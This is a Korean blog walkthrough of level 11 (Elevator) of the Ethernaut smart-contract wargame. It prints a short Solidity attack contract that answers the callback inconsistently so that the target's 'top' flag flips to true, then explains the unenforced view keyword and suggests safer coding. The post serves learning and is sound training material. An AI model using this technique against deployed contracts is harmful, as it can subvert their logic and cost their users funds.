



Open in app

Get started



Heuristic Wave

Follow

Dec 20, 2018 · 3 min read



Save



Ethernaut Elevator Problem — 이더넷 11단계 문제 해설

문제 해설에 들어가기 전, 이번 포스팅은 이더넷 내에서 콘솔창과 상호작용을 할 줄 알고 기본적인 리믹스 및 메타마스크 사용법이 숙지되어 있다는 가정 하에 해설을 진행합니다.

The Ethernaut

by



Heuristic Wave



Elevator Problem

이번 문제의 힌트를 보아도 잘 감이 오지 않는다.

- 때때로 솔리디티는 약속을 잘 지키지 않는다.
- 이 엘리베이터가 빌딩에서 사용되길 기대한다.

나는 이 elevator 문제를 한참동안 들여다 봐도 무엇이 잘못 되었는지, 찾지 못했다. 우선 문제 주소를 remix에 넣고 컨트랙트 주소를 불러오자! 이때, 인터페이스는 배포가 불가능하니 꼭 선택을 Elevator로 바꾸고 At Address를 진행하자. 처음에 문제로 출제된 Elevator 주소를 불러와 top함수를 호출하면 불값이 false로 되어 있다.

The screenshot displays the Remix IDE interface. On the left, the 'browser/Elevator.sol' file is open, showing Solidity code for an 'Elevator' contract. The code includes an interface 'Building' with an 'isLastFloor' function, and the 'Elevator' contract which has a 'goTo' function that calls 'isLastFloor' on the sender's building. There is also an 'ElevatorAttack' contract that interacts with the 'Elevator' contract. On the right, the 'Deploy' tab is active, showing the 'Building' dropdown menu, a 'Deploy' button, and the 'At Address' option. Below this, the 'Transactions recorded' section shows two transactions: 'ElevatorAttack at 0x85b...77add (blockchain)' and 'Elevator at 0xfaf...dc9e7 (blockchain)'. At the bottom, the 'goTo' function is selected, and the 'floor' input is set to 'uint256: 0'. The 'top' output is shown as '0: bool: false'.

문제에서, 이 엘리베이터는 “너의 빌딩에 꼭대기에 도달할수 없는게 맞지?”라고 하는 것을 보아 top을 true 값으로 바꾸면 문제를 통과 할 수 있다.

ElevatorAttack.sol

```
pragma solidity ^0.4.18;

contract ElevatorAttack {
    bool public isLast = true;

    function isLastFloor(uint) public returns (bool) {
        isLast = ! isLast;
        return isLast;
    }

    function attack(address _victim) public {
        Elevator elevator = Elevator(_victim);
        elevator.goTo(10);
    }
}
```

view 키워드가 있는 인터페이스와 비슷하게 isLastFloor 함수를 구현했지만, view 키워드를 적지 않았다. 원래 view는 아래와 같은 성격을 가지고 있다.

상태지정자 view : Data접근에 관하여 오로지 읽을 수 만 있고 상태 변경이 불가하다.

분명 처음 Elevator 컨트랙트를 설계한 배포자는 isLastFloor의 불린값이 바뀌지 않는 것으로 예상 했을 것이다.

그러나, 악의적인 공격자가 정작 함수를 구현할때 view키워드를 제외하고 Elevator 컨트랙트의 goTo 함수에 10을 넣어 로직을 통과하게 되면 결과적으로 top 의 상태가 바뀌게 된다.

이후 이더넷의 콘솔창에서 await contract.top()를 치면 true 값으로 바뀐 것을 확인 할 수 있고, 다음 문제로 넘어갈 수 있다. 사실 이번 문제는 나도 몇일을 고민해도 풀지 못해 구글링을 하여 도움을 받았다.

문제 출제자는 view에 의존하지 말고 modifier를 활용하여 더 안전한 코드를 작성하라는 메시지를 주고 있다. 또한 인터페이스를 상속 받을때는 항상 조심해야한다.

그럼, 다음번에는 12단계 Privacy에서 만나요!

Ethernaut Privacy Problem — 이더넷 12단계 문제 해설

문제 해설에 들어가기 전, 이번 포스팅은 이더넷 내에서 콘솔창과 상호 작용을 할 줄 알고 기본적인 리믹스 및 메타마스크 사용법이 숙지되어

medium.com

ne Ethernaut

euristic Wav



[About](#) [Help](#) [Terms](#) [Privacy](#)

Get the Medium app

